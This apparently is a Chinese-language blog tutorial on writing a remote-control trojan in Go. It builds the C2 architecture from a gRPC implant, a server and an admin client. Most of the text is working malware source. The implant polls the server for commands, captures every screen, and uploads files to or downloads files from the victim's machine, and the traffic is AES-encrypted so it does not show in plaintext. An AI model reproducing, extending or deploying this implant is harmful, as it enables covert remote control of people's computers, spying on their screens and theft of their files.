基于gRPC编写golang简单C2远控
阅读原文时间:2023年07月09日阅读:1

构建一个简单的远控木马需要编写三个独立的部分:植入程序、服务端程序和管理程序。

植入程序是运行在目标机器上的远控木马的一部分。植入程序会定期轮询服务器以查找新的命令,然后将命令输出发回给服务器。

管理程序是运行在用户机器上的客户端,用于发出实际的命令。

服务端则负责与植入程序和客户端的交互,接收客户端的指令,并在植入程序请求时,将命令发送给植入程序,随后将植入程序发送来的结果传递给客户端。

这里通过gRPC构建所有的网络交互。

关于gRPC、Protobuf、protoc请参考https://www.zhihu.com/question/286825709

gRPC是由google创建的一个高性能远程过程调用(RPC)框架。RPC框架允许客户端通过标准和定义的协议与服务器进行通信,而不必了解底层的任何细节。gRPC基于HTTP/2运行,以一种高效的二进制结构传递消息。gRPC默认的序列方式是Protobuf。

定义和构造gRPC API

这里使用Protobufs来定义API

Service

在proto文件中定义了两个service,分别对应植入程序服务端和管理程序服务端。

在植入程序服务中,定义了三个方法FetchCommandSendOutputGetSleepTime

FetchCommand:将从服务器检索所有为执行的命令

SendOutput:会将一个Command消息发送服务器

GetSleepTime:从服务端检索sleep时间间隔

在管理程序服务中,定义的两个方法RunCommandSetSleepTime

RunCommand:接收一个Command消息作为参数,并期望获读回一个Command消息

SetSleepTime:向服务器发送一个SleepTime消息作为时间间隔

Message

最后看到定义的三个message CommandSleepTimeEmpty

Command:消息中的两个参数分别代表了输入的命令和命令对应的结果。都为string类型,要说明的是后面两个数字是代表了消息本身两个字段出现的偏移量,也就是In将首先出现,然后是Out。

SleepTime:唯一 一个字段就是用来标明休眠时间间隔的

Empty:用来代替null的空消息 定义这个Empty类型是由于gRPC不显式地允许空值

syntax = "proto3";
package grpcapi;
option go_package = "./grpcapi";
service Implant {
  rpc FetchCommand (Empty) returns (Command);
  rpc SendOutput (Command) returns (Empty);
  rpc GetSleepTime(Empty) returns (SleepTime);
}

service Admin {
  rpc RunCommand (Command) returns (Command);
  rpc SetSleepTime(SleepTime) returns (Empty);
}

//Command消息包含两个字段,一个用于维护操作系统的命令;一个用于维护命令执行的输出
message Command {
  string In = 1;
  string Out = 2;
}
message SleepTime {
  int32 time = 1;
}

//Empty 用来代替null的空消息 定义这个Empty类型是由于gRPC不显式地允许空值
message Empty {
}
编译proto文件

对于Golang使用如下命令编译.proto文件。会根据你的.proto文件生成Go文件。

这个生成的新文件回包含Protobuf模式中创建的服务和消息的结构和结构体定义。后续将利用它构造服务端、植入程序和客户端。

protoc --go_out=./ --go-grpc_opt=require_unimplemented_servers=false --go-grpc_out=./ *.proto

创建服务端

首先,创建两个结构体adminServerimplantServer,它们都包含两个Command通道,用于发送和接收命令以及命令的输出。这两个结构体会实现gRPC API中定义的服务端接口。并且需要为这两个结构体定义辅助函数NewAdminServerNewImplantServer,用于创建新的实例,可以确保通道正确的初始化。

type implantServer struct {
    work, output chan *grpcapi.Command
}

type adminServer struct {
    work, output chan *grpcapi.Command
}

func NewImplantServer (work, output chan *grpcapi.Command) *implantServer {
    s := new(implantServer)
    s.work = work
    s.output = output
    return  s
}
func NewAdminServer (work, output chan *grpcapi.Command) *adminServer {
    s := new(adminServer)
    s.work = work
    s.output = output
    return  s
}

implantServer

对于植入程序服务端,需要实现的方法有FetchCommand()SendOutput()GetSleepTime()

FetchCommand:植入程序将调用方法FetchCommand作为一种轮询机制,它会询问“有工作给我吗?”。在代码中,将根据select语句,当work通道中有数据时会从中读取数据到实例化的Command中,并返回。如果没有读取到数据,就会返回一个空的Command。

func (s *implantServer) FetchCommand(ctx context.Context, empty *grpcapi.Empty) (*grpcapi.Command, error) {
    var cmd = new(grpcapi.Command)
    select {
    case cmd, ok := <-s.work:
        if ok {
            return cmd, nil
        }
        return cmd, errors.New("channel closed")
    default:
        return cmd, nil
    }
}

SendOutput:将接收一个Command,其中包含了从植入程序中获取的命令执行的结果。并将这个Command推送到output通道中,以便管理程序的后续读取。

func (s *implantServer) SendOutput (ctx context.Context, result *grpcapi.Command) (*grpcapi.Empty, error) {
    s.output <- result
    fmt.Println("result:" + result.In + result.Out)
    return &grpcapi.Empty{}, nil
}

*GetSleepTime:植入程序在每次sleep之前就会调用此方法,向服务端询问sleep的时间。这个方法将返回从变量sleepTIme中读取到的数据。

func (s *implantServer) GetSleepTime(ctx context.Context, empty *grpcapi.Empty) (*grpcapi.SleepTime, error) {
    time := new(grpcapi.SleepTime)
    time.Time = sleepTime
    return time,nil
}

adminServer

对于管理程序服务端,需要实现的方法有RunCommandSetSleepTime

RunCommand:该方法接收一个尚未发送到植入程序的Command,它表示管理程序希望在植入程序上执行的工作。并将工作发送给work通道。因为使用无缓冲的通道,该操作将会阻塞程序的执行,但同时又需要从output通道中接收数据,因此使用goroutine将工作放入work通道中。

调用这个方法时,会将命令发送给服务端,并等待植入程序执行完后的发送回的结果。

func (s *adminServer) RunCommand(ctx context.Context, cmd *grpcapi.Command) (*grpcapi.Command, error)  {
    fmt.Println(cmd.In)
    var res *grpcapi.Command
    go func() {
        s.work <- cmd
    }()

    res = <- s.output

    return res, nil
}

SetSleepTime:管理程序客户端调用此方法,将从命令行输入的时间发送给服务端后,设置到sleepTIme变量中

func (s *adminServer) SetSleepTime(ctx context.Context, time *grpcapi.SleepTime) (*grpcapi.Empty, error) {
    sleepTime = time.Time
    return &grpcapi.Empty{}, nil
}

main函数部分

main函数首先使用相同的work和output通道实例化implantServer和adminServer。通过相同的通道实例,可以是管理程序服务端和植入程序服务端通过此共享通道进行通信。

接下来,为每个服务启动网络监听器,将implantListener绑定到1961端口,将adminListener绑定到1962端口。最后创建两个gRPC服务器。

func main()  {
    var (
        implantListener, adminListener net.Listener
        err                        error
        opts                       []grpc.ServerOption
        work, output               chan *grpcapi.Command
    )
    work, output = make(chan *grpcapi.Command), make(chan *grpcapi.Command)
    //植入程序服务端和管理程序服务端使用相同的通道
    implant := NewImplantServer(work, output)
    admin := NewAdminServer(work, output)
    //服务端建立监听,植入服务端与管理服务端监听的端口分别是1961和1962
    if implantListener,err = net.Listen("tcp", fmt.Sprintf("0.0.0.0:%d", 1961)); err != nil {
        log.Fatalln("implantserver"+err.Error())
    }
    if adminListener,err = net.Listen("tcp", fmt.Sprintf("0.0.0.0:%d", 1962)); err != nil {
        log.Fatalln("adminserver"+err.Error())
    }
    //服务端设置允许发送和接收数据的最大限制
    opts = []grpc.ServerOption{
        grpc.MaxRecvMsgSize(1024*1024*12),
        grpc.MaxSendMsgSize(1024*1024*12),
    }
        grpcAdminServer, grpcImplantServer := grpc.NewServer(opts...), grpc.NewServer(opts...)

    grpcapi.RegisterImplantServer(grpcImplantServer, implant)
    grpcapi.RegisterAdminServer(grpcAdminServer, admin)
    //使用goroutine启动植入程序服务端,防止代码阻塞,毕竟后面还要开启管理程序服务端
    go func() {
        grpcImplantServer.Serve(implantListener)
    }()
    grpcAdminServer.Serve(adminListener)
}

创建植入程序和管理程序

植入程序

    // WithInsecure 忽略证书
    opts = append(opts, grpc.WithInsecure())
    //设置发送和接收数据的最大限制
    opts = append(opts, grpc.WithDefaultCallOptions(grpc.MaxCallRecvMsgSize(1024 * 1024 * 12 )))
    opts = append(opts, grpc.WithDefaultCallOptions(grpc.MaxCallSendMsgSize(1024 * 1024 * 12)))
    //连接到指定服务器的指定端口
    if conn,err = grpc.Dial(fmt.Sprintf("127.0.0.1:%d",1961), opts...); err != nil {
        log.Fatal(err)
    }
    defer conn.Close()
    client = grpcapi.NewImplantClient(conn)

    ctx := context.Background()
    //使用for循环来轮询服务器
    for {
        var req = new(grpcapi.Empty)
        cmd, err := client.FetchCommand(ctx, req)
        if err != nil {
            log.Fatal(err)
        }
         //如果没有要执行的命令就进入sleep
        if cmd.In == "" {
            //sleep之前向服务器询问sleep的时间
            t,_ := client.GetSleepTime(ctx,req)
            fmt.Println("sleep"+t.String())
            time.Sleep(time.Duration(t.Time)* time.Second)
            continue
        }
        //从服务端获取到命令后先进行解密处理
        command, _ := util.DecryptByAes(cmd.In)
        //根据空格截取命令
        tokens := strings.Split(string(command), " ")
    .......
    }

管理程序

    //  设置命令行参数
    flag.IntVar(&sleepTime,"sleep",0,"sleep time")
    flag.StringVar(&session,"session","","start session")
    flag.StringVar(&ip,"ip","127.0.0.1","Server IP")
    flag.StringVar(&port,"port","1961","Server IP")
    flag.Parse()

    if session != "" {
         //输入session参数,并且参数值为start,开执行命令
        if session == "start" {
             // WithInsecure 忽略证书
            opts = append(opts, grpc.WithInsecure())
            //设置发送和接收数据的最大限制
            opts = append(opts, grpc.WithDefaultCallOptions(grpc.MaxCallRecvMsgSize(1024 * 1024 * 12 )))
            opts = append(opts, grpc.WithDefaultCallOptions(grpc.MaxCallSendMsgSize(1024 * 1024 * 12)))
            //连接到指定服务器的指定端口
            if conn,err = grpc.Dial(fmt.Sprintf("%s:%s",ip, port),opts...);
            err != nil {
                log.Fatal(err)
            }
            defer conn.Close()
            client = grpcapi.NewAdminClient(conn)
            fmt.Println("start exec:")
            //通过for循环来不断向控制台输入命令
            for {
                var cmd = new(grpcapi.Command)
                //go中scan、scanf、scanln在输入时都会将空格作为一个字符串的结束,因此不能使用这些来键入我们的命令
                //获取用户输入的命令
                reader := bufio.NewReader(os.Stdin)
                command, _, err := reader.ReadLine()
                if nil != err {
                    fmt.Println("reader.ReadLine() error:", err)
                }
                //根据空格截取输入的命令,以进行后续的判断
                flags := strings.Split(string(command)," ")
            ......
          } else {
            fmt.Println("please input start")
        }
    }
sleep时间

自定义回连时间:也就是允许自定义植入程序轮询服务器的时间间隔。

植入程序这里轮询时间间隔是通过sleep函数实现的,而实现自定义这个功能则是植入程序在sleep之前会向服务端询问sleep的时间。

 //如果没有要执行的命令就进入sleep
if cmd.In == "" {
//sleep之前向服务器询问sleep的时间
    t,_ := client.GetSleepTime(ctx,req)
    fmt.Println("sleep"+t.String())
    time.Sleep(time.Duration(t.Time)* time.Second)
    continue
}

管理程序客户端可以通过命令行参数sleep来设置休眠时间,单位为秒。

    //根据命令行键入sleep参数的值进行设置sleep时间,如果没有键入sleep参数默认为0
    if sleepTime != 0 {
        var time = new(grpcapi.SleepTime)
        time.Time = int32(sleepTime)
        ctx := context.Background()
        client.SetSleepTime(ctx,time)
    }
截图

截图功能实现

截图功能借助于 github.com/kbinani/screenshot 实现

植入端获取到截图命令后,会先获取当前屏幕的数量,并根据顺序进行截图,并将图片存放到[]byte字节切片中,进行加密编码后发出。

    //输入的命令为screenshot 就进入下面的流程
        if tokens[0] == "screenshot" {
            images := util.Screenshot()
            for _,image := range images {
                result,_ := util.EncryptByAes(util.ImageToByte(image))
                cmd.Out += result
                cmd.Out += ";"
            }
            client.SendOutput(ctx, cmd)
            continue
        }


//util.Screenshot() 截图
func Screenshot() []*image.RGBA {
    var images []*image.RGBA
    //获取当前活动屏幕数量
    i := screenshot.NumActiveDisplays()
    if i == 0 {

    }
    for j :=0; j <= i-1; j++ {
        image,_ := screenshot.CaptureDisplay(j)
        images = append(images, image)
    }
    return images
}
//util.ImageToByte() 图片转字节切片
func ImageToByte(image *image.RGBA) []byte{
    buf := new(bytes.Buffer)
    png.Encode(buf,image)
    b := buf.Bytes()
    return b
}
上传文件

上传文件,要求输入的格式为 upload 本地文件 目标文件

管理程序会根据输入的本地文件,将本地文件读取到[]byte字节切片当中,并进行AES加密和BASE64编码。也就是说最终向服务端传递的数据将变成经过加密、编码后的字符串。这里会将这个字符串存放在Command.Out中。这里可能游戏额难以理解,command.Out不是用来存放执行结果的吗?其实在服务端中,会将管理程序客户端的命令放到work中,然后将植入程序执行完以后会才会将结果封装在command.Out,而在这之前command.Out是空的。这里上传文件实际上是在管理程序客户端时“借用”command.Out的位置,将要上传的数据与上传命令一起发送给植入程序。

这里根据前面提到的,设置最大上传数据为12MB,但要注意的上传文件会经过aes加密与base64编码,因此12MB指经过加密后的数据大小,实际上允许上传的数据要小于12MB。下载同理。

if flags[0] == "upload" {
    if len(flags) != 3 || flags[2] == "" {
        fmt.Println("输入格式为:upload 本地文件 目标文件")
        continue
    }
    file, err := os.ReadFile(flags[1])
    if err != nil {
        fmt.Println(err.Error())
        continue
    }
    //将数据存放在Command.Out中
    cmd.Out,err = util.EncryptByAes(file)
    if err != nil {
        log.Fatal(err.Error())
    }
    cmd = Run(cmd,command,client)
    out,err := util.DecryptByAes(cmd.Out)
    if err != nil {
        log.Fatal(err.Error())
    }
    fmt.Println(string(out))
    continue
}

植入端程序将根据cmd.in中输入的命令判断是否为上传指令。判断为上传指令后,将会对cmd.out中保存的字符串数据进行解密后写入到用户指定的目标文件当中。

//匹配上传命令
if tokens[0] == "upload" {
    file,_ := util.DecryptByAes(cmd.Out)
    err := os.WriteFile(tokens[2],file,0666)
    if err != nil{
        cmd.Out,_ = util.EncryptByAes([]byte(err.Error()))
        client.SendOutput(ctx, cmd)
    } else {
        cmd.Out,_ = util.EncryptByAes([]byte("upload success!"))
        client.SendOutput(ctx, cmd)
    }

    continue
}
下载文件

下载文件, 要求输入的格式为download 目标文件 本地文件

客户端将下载命令发送给服务端。客户端会从cmd.out中读取到数据后解密,并根据用户输入的本地文件写入文件。

if flags[0] == "download" {
    if len(flags) != 3 || flags[2] == "" {
        fmt.Println("输入格式为:download 目标文件 本地文件")
        continue
    }
    //发送命令
    cmd = Run(cmd,command,client)
    file, err := util.DecryptByAes(cmd.Out)
    if err != nil {
        log.Fatal(err.Error())
    }
    if string(file[0:13]) == "download err!" {
        fmt.Println(string(file[0:13]))
        continue
    }
    err = os.WriteFile(flags[2],file,0666)
    if err != nil {
        fmt.Println(err.Error())
    }else {
        fmt.Println("download success! Path:" + flags[2])
    }
    continue
}

当植入程序询问到该命令之后,会将用户输入的目标文件读取到[]byte字节切片当中,与上传文件类似地,进行加密编码以字符串形式存放到cmd.Out中经服务端发送给客户端。

//匹配下载命令
if tokens[0] == "download" {
    file,err := os.ReadFile(tokens[1])
    if err != nil {
        cmd.Out,_ = util.EncryptByAes([]byte("download err! "+err.Error()))
        client.SendOutput(ctx, cmd)
    }else {
        cmd.Out,_ = util.EncryptByAes(file)
        _,err2 := client.SendOutput(ctx, cmd)
        if err2 != nil {
            fmt.Println(err2.Error())
        }
    }

    continue
}

编码问题

go的编码是UTF-8,而CMD的活动页是GBK编码的,因此使用GoLang进行命令执行时,对于命令执行结果返回的中文会产生乱码的现象。

虽然在植入程序中会执行命令,但是在通过植入程序再向服务端发送结果时由于包含乱码,植入程序向服务端发送的数据为空。(因此服务端就没有接收这个数据),result中没有数据,所以植入程序的服务端在向output输入数据时会阻塞。由于管理服务端和植入程序服务端共享通道,output中没有数据,进而引发管理服务端也阻塞(直到output中有数据)。

中文乱码问题的解决依赖于golang.org/x/text/encoding/simplifiedchinese

当然在解决掉乱码问题后,这一问题也就消失了。

type Charset string

const (
    UTF8 = Charset("UTF-8")
    GB18030 = Charset("GB18030")
)

func ConvertByte2String(byte []byte, charset Charset) string {

    var str string
    switch charset {
    case GB18030:
        decodeBytes, _ := simplifiedchinese.GB18030.NewDecoder().Bytes(byte)
        str = string(decodeBytes)
    case UTF8:
        fallthrough
    default:
        str = string(byte)
    }

    return str
}

流量加密

对于所有的C2程序都应该加密其网络流量,这对于植入程序和服务器之间的通信尤为重要。通过截取流量,可以看到植入程序和服务端的数据是明文的。对于解决这个问题,可以提供得是两种选择,一是对我们传输得数据进行加密如异或、AES加密,在传输过程中使用密文传递;二是使用TLS技术。

如下为未加密前流量

当前使用AES+BAES64编码来进行加密

aes加密和base64编码参考:https://blog.csdn.net/dodod2012/article/details/117706402

管理程序客户端获取到用户从命令行键入的命令,将对这个命令进行base64+aes加密,再发送给服务端。服务端接收到这个消息后,直接将消息写入通道中。

待植入程序客请求服务端时,就会读取到这段密文,进行解密后执行命令,并将执行的结果进行加密发送给服务端。最终管理程序会从结果通道中读取到执行的结果,解密后并进行编码格式的转变,输出到控制台。这相比于明文传输就安全多了。如下为加密后的流量